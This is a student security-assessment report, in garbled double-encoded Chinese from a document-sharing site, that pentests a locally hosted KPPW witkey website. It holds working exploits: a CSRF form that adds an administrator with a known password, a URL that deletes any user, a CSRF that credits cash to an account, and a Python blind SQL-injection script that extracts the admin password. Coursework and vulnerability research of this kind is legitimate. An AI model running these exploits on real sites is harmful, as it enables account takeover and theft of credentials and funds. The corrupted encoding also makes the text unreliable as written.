網(wǎng)絡(luò)安全風(fēng)險(xiǎn)評估大作業(yè)_第1頁
網(wǎng)絡(luò)安全風(fēng)險(xiǎn)評估大作業(yè)_第2頁
網(wǎng)絡(luò)安全風(fēng)險(xiǎn)評估大作業(yè)_第3頁
網(wǎng)絡(luò)安全風(fēng)險(xiǎn)評估大作業(yè)_第4頁
網(wǎng)絡(luò)安全風(fēng)險(xiǎn)評估大作業(yè)_第5頁
已閱讀5頁,還剩12頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

1、網(wǎng)絡(luò)安全風(fēng)險(xiǎn)評估大作業(yè) 班 級: 13級網(wǎng)安四班姓 名: 彭克杰學(xué) 號: 1315935027指導(dǎo)老師: 林玉香網(wǎng)絡(luò)安全評估目的:網(wǎng)絡(luò)平臺(tái)安全泛指操作系統(tǒng)和通用基礎(chǔ)服務(wù)安全,主要用于防范黑客攻擊手段。目前市場上大多數(shù)安全產(chǎn)品均具有局限安全性,我們可以通用信息安全評估準(zhǔn)則為依據(jù)來對其進(jìn)行評估,來發(fā)現(xiàn)問題,修復(fù)問題,確定網(wǎng)絡(luò)平臺(tái)安全實(shí)施。安全弱點(diǎn)和信息資產(chǎn)緊密相連,它可能被威脅利用、引起資產(chǎn)損失或傷害。但是,安全弱點(diǎn)本身不會(huì)造成損失,它只是一種條件或環(huán)境、可能導(dǎo)致被威脅利用而造成資產(chǎn)損失。安全弱點(diǎn)的出現(xiàn)有各種原因,例如可能是軟件開發(fā)過程中的質(zhì)量問題,也可能是系統(tǒng)管理員配置方面的,也可能是管理方面的

2、。但是,它們的共同特性就是給攻擊者提供了對主機(jī)系統(tǒng)或者其他信息系統(tǒng)攻擊的機(jī)會(huì)。因此,我們對網(wǎng)絡(luò)產(chǎn)品,網(wǎng)絡(luò)平臺(tái)等進(jìn)行一系列的風(fēng)險(xiǎn)評估很是必要,下面我們就對一個(gè)具體的網(wǎng)站進(jìn)行安全方面的漏洞評估。評估內(nèi)容:在本次實(shí)驗(yàn)中我們借助phpstudy搭建一個(gè)威客系統(tǒng)網(wǎng)站,進(jìn)行實(shí)際滲透測試和評估。掃描工具:Burpsuite,Nikto,WebScarab,掃描工具有很多,選個(gè)合適的就行。這是發(fā)現(xiàn)的一些漏洞:1.刪除任意帳號/添加管理員詳細(xì)說明:http:/localhost/KPPW/index.php?do=user&view=message&op=sendhttp:/localhost/

3、KPPW/index.php?do=pubtask&id=1&step=step2收件人填目標(biāo)用戶名 ,標(biāo)題沒有特定要求,內(nèi)容沒有轉(zhuǎn)義,不過過濾了敏感標(biāo)簽和 onerror onload等事件。任意刪除賬號:http:/localhost/KPPW/admin/index.php?do=user&view=list&op=del&edituid=5529GET提交此URL 就會(huì)刪除ID為 “5529”的用戶然后添加管理員,在添加用戶處抓包,提交數(shù)據(jù)Code區(qū)域:edituid=&fdsusername=qianlan&fdstruenam

4、e=&fdsphone=&fdsqq=&fdsindus_pid=&fdsindus_id=&fdsbirthday=&fdspassword=111111&fdsemail=xq.c&fdsgroup_id=1&is_submit=1然后構(gòu)造一個(gè)表單:Code區(qū)域:<form action="http:/localhost/KPPW/admin/index.php?do=user&view=add&edituid=" method="post"><

5、input type=hidden name="edituid" value=""><input type=hidden name="fdsusername" value="qianlan"><input type=hidden name="fdstruename" value=""><input type=hidden name="fdsphone" value=""><input ty

6、pe=hidden name="fdsqq" value=""><input type=hidden name="fdsindus_pid" value=""><input type=hidden name="fdsindus_id" value=""><input type=hidden name="fdsbirthday" value=""><input type=hidden nam

7、e="fdspassword" value="123456"><input type=hidden name="fdsemail" value="xq.c"><input type=hidden name="fdsgroup_id" value="1"><input type="submit" name="is_submit" value="1"></form>其

8、他比較敏感的都隱藏起來。 因?yàn)閟cript 標(biāo)簽被過濾。 不能自動(dòng)提交。所以放出來個(gè)按鈕,發(fā)給人家一看 一個(gè)按鈕 是誰都會(huì)有好奇心 肯定會(huì)點(diǎn)下這個(gè)按鈕。將此發(fā)給管理員。 就坐等添加新帳號吧,或者可以不用寫表單, 嵌入其他URL, 還可以自動(dòng)提交。 此處自由發(fā)揮。此刻來用小號給管理員發(fā)個(gè)私信現(xiàn)在來看看效果 , 出來一個(gè)小按鈕 接著點(diǎn)擊我們現(xiàn)在來后臺(tái)的會(huì)員管理看看是否添加了一個(gè)名為qianlan的管理員添加成功,用戶組為管理員帳號qianlan 密碼 123456接下來漏洞證明: 詳細(xì)說明: Code區(qū)域: keke_user_avatar_class.php文件:static function

9、uploadavatar($uid) header ( "Expires: 0" );header ( "Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE );header ( "Pragma: no-cache" );if (empty ( $uid ) return - 1;if (empty ( $_FILES 'Filedata' ) return - 3;list ( $width, $height, $type, $at

10、tr ) = getimagesize ( $_FILES 'Filedata' 'tmp_name' );$imgtype = array (1 => '.gif', 2 => '.jpg', 3 => '.png' );$filetype = $imgtype $type;if (! $filetype)$filetype = '.jpg'$tmpavatar = _DATADIR . './tmp/upload' . $uid . $filetype;file

11、_exists ( $tmpavatar ) && unlink ( $tmpavatar );if (copy ( $_FILES 'Filedata' 'tmp_name', $tmpavatar ) | move_uploaded_file ( $_FILES 'Filedata' 'tmp_name', $tmpavatar ) unlink ( $_FILES 'Filedata' 'tmp_name' );list ( $width, $height, $type, $a

12、ttr ) = getimagesize ( $tmpavatar );if ($width < 10 | $height < 10 | $type = 4) unlink ( $tmpavatar );return - 2; else unlink ( $_FILES 'Filedata' 'tmp_name' );return - 4;$avatarurl = _DATAURL . '/tmp/upload' . $uid . $filetype;return $avatarurl;在這里$tmpavatar = _DATADIR

13、 . './tmp/upload' . $uid . $filetype; 是保存的文件名,在這里uid沒有進(jìn)行過濾,也沒有進(jìn)行長度限制,由于開了GPC 無法利用%00截?cái)?。這里就用長文件名截?cái)?.XSS跨站腳本攻擊詳細(xì)說明:我們先來注冊一個(gè)賬號,然后發(fā)布商品。然后進(jìn)行抓包,再添加圖片處修改:效果:4.SQL注入漏洞詳細(xì)說明:注冊兩個(gè)帳號,然后其中一個(gè)對另外那個(gè)發(fā)送3個(gè)消息。打開中間那條 url如下*.*.*.*/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=

14、1&msgId=16然后注入下面我們可以看到 上一條 和 下一條 。注入測試*.*.*.*/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 and 1=1-存在*.*.*.*/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 and 1=2-然后消失了。利用url,*.*.*.*/KPPW/ind

15、ex.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 and (select CHAR(48)=SUBSTR(SELECT password from keke_witkey_member WHERE uid =1),1,1)-然后整一個(gè)小工具替換下host url cookiesCode區(qū)域:#coding:utf-8import httplibdef get(i1,i2):page=""rHtml=httplib.HTTPConnection(&

16、quot;*.*.*.*",80,False)url="/KPPW/index.php?do=user&view=message&op=detail&type=notice&intPage=1&msgId=13%20and%20%28select%20CHAR%28"+i1+"%29%29=SUBSTR%28%28SELECT%20%60password%60%20from%20keke_witkey_member%20WHERE%20uid%20=1%29,"+i2+",1%29-"

17、#print urlrHtml.request("GET",url,headers="User-Agent":"Firefox/22.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate&qu

18、ot;,"Cookie":"PHPSESSID=x","Connection":"keep-alive")page=rHtml.getresponse(False)return page.read().count('一條')mm=for i in range(1,33):for ii in range(48,123):if(get(str(ii),str(i)!=0):mm.append(chr(ii)print "".join(mm)break5. csrf漏洞詳細(xì)說明:我們先

19、來注冊一個(gè)賬號,之后進(jìn)入一個(gè)頁面http:/localhost/index.php?do=user地址為:http:/localhost/index.php?do=seller&id=5529可見,我們的用戶id為5529再來發(fā)布一個(gè)商品,http:/localhost/index.php?do=pubgoods然后添加上我們偽造的urlCode區(qū)域:http:/localhost/admin/index.php?do=user&view=charge&valid=1&maxCash=100&maxCredit=&user=5529&ca

20、sh_type=1&cash=100&char填好之后發(fā)布,并提交到后臺(tái)。這種威客網(wǎng)站添加的商品,管理員肯定會(huì)在后臺(tái)審核的。管理員進(jìn)去后:會(huì)有一個(gè)get請求就是上面我們填寫的一個(gè)地址:再來刷新下我們剛才注冊的帳號錢增加了100對于此漏洞,我們驗(yàn)證一下后臺(tái)登錄:驗(yàn)證一下id驗(yàn)證合格之后提交并抓包,偽造成GET之后加錢成功6. 全局問題導(dǎo)致大面積注入詳細(xì)問題:if ($code&&in_array($code,$arrAllowAuth) $code or $code = $keys '0' $code or kekezu:show_msg ( $_

21、lang 'param_error', "index.php?do=auth", 3, '', 'warning' );$auth_class = "keke_auth_" . $code . "_class"$objAuth = new $auth_class ( $code ); $auth_item = $arrAllAuthItems $code; $auth_dir = $auth_item 'auth_dir' $arrAuthInfo = $objAuth-

22、>get_user_auth_info ( $gUid, 0, $intBankAid ); require S_ROOT . "/auth/$code/control/index.php"require keke_tpl_class:template ( 'auth/' . $code . '/tpl/' . $_K 'template' . '/'.$step );die; else $real_pass = keke_auth_fac_class:auth_check ( 'enterpri

23、se', $gUid ) or $real_pass = keke_auth_fac_class:auth_check ( "realname", $gUid );$arrHasAuthItem = keke_auth_fac_class:get_auth ( $gUserInfo );$arrUserAuthInfo = $arrHasAuthItem 'info'這里包含了/auth/$code/control/index.php文件,這里的code我們設(shè)置為email當(dāng)然code有('realname','enterpr

24、ise','bank','mobile','email')這五中形式進(jìn)入/auth/email/control/index.php文件:case "step3":if($email_a_id&&$ac='check_email')$boolAuthRes = $objAuth->audit_auth($active_code,$email_a_id);header('location:index.php?do=user&view=account&op=aut

25、h&code=email');if($arrAuthInfo'auth_status'=1)$auth_tips ='已通過'$auth_style = 'success'elseif($arrAuthInfo'auth_status'=2)$auth_tips ='未通過'$auth_style = 'warning'break;第三步驗(yàn)證時(shí),$active_code和$email_a_id參數(shù)進(jìn)入驗(yàn)證函數(shù)audit_authpublic function audit_auth($

26、active_code,$email_a_id)global $_K, $kekezu,$_lang;$user_info=$kekezu->_userinfo;if(md5($user_info'uid'.$user_info'username'.$user_info'email')=$active_code)$arrAuthInfo=$this->get_auth_info($email_a_id);if(empty($arrAuthInfo0)return false;public function get_auth_info(

27、$auth_ids)if(isset($auth_ids)if(!stristr($auth_ids,',') return db_factory:query(sprintf(" select * from %s where %s = '%s'",TABLEPRE.$this->_auth_table_name,$this->_primary_key,$auth_ids);elsereturn db_factory:query(sprintf(" select * from %s where %s in (%s) &qu

28、ot;,TABLEPRE.$this->_auth_table_name,$this->_primary_key,$auth_ids);elsereturn array();到這里,參數(shù)$auth_ids = $email_a_id,進(jìn)入了sql語句但是當(dāng)$auth_ids有逗號分隔的話,就進(jìn)入下面那一條語句in ($auth_ids),在整個(gè)參數(shù)傳遞的過程中$auth_ids沒有過濾,這里也沒有加引號保護(hù),導(dǎo)致注入。下面我們來看看任何導(dǎo)致大面積注入lib下面的文件都是系統(tǒng)的全局調(diào)用文件,這里的keke_auth_base_class.php也是一樣,在所有關(guān)于認(rèn)證的功能里面都會(huì)調(diào)

29、用,如下面四個(gè)文件:前面兩個(gè)就是我們這里的漏洞分析,看看下面連個(gè)。public function del_auth($auth_ids,$url=null) global $_lang;$url ="index.php?do=auth&view=list&code=".$this->_auth_code;is_array($auth_ids) and $ids=implode(",",$auth_ids) or $ids=$auth_ids;$auth_info=$this->get_auth_info($ids);還有pub

30、lic function review_auth($auth_ids,$type='pass',$url=null)global $_lang;global $kekezu;if($url=null)$url = $_SERVER'HTTP_REFERER'$prom_obj = keke_prom_class:get_instance ();is_array($auth_ids) and $auth_ids=implode(",",$auth_ids);$auth_info=$this->get_auth_info($auth_ids

31、);$size=sizeof($auth_info);這里是在del_auth和review_auth函數(shù)處調(diào)用了漏洞函數(shù)get_auth_info而且進(jìn)入這兩個(gè)函數(shù)的參數(shù)都是沒有處理的,最后都直接進(jìn)入了sql語句,導(dǎo)致sql注入而且del_auth函數(shù)在認(rèn)證過程中被調(diào)用的地方是21處.review_auth函數(shù)在認(rèn)證過程中被調(diào)用的地方是17處.所以罪魁禍?zhǔn)譯et_auth_info函數(shù),可以引發(fā)大面積的sql注入問題。進(jìn)行審核過程中發(fā)現(xiàn),只要是在進(jìn)入sql語句時(shí),如:in (變量),這樣的sql語句時(shí),大部分是沒有出來這里的變量的,都存在注入問題郵件認(rèn)證時(shí),發(fā)送郵件:成功發(fā)送認(rèn)證郵件后,看看郵箱收到的認(rèn)證鏈接:然后copy認(rèn)證鏈接,構(gòu)造參數(shù)email_a_id,注意這里的id后面的一個(gè)必須存在的id,如這里的2,構(gòu)造后請求為:http:/localhost/KPPW2520141118UTF-8/

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論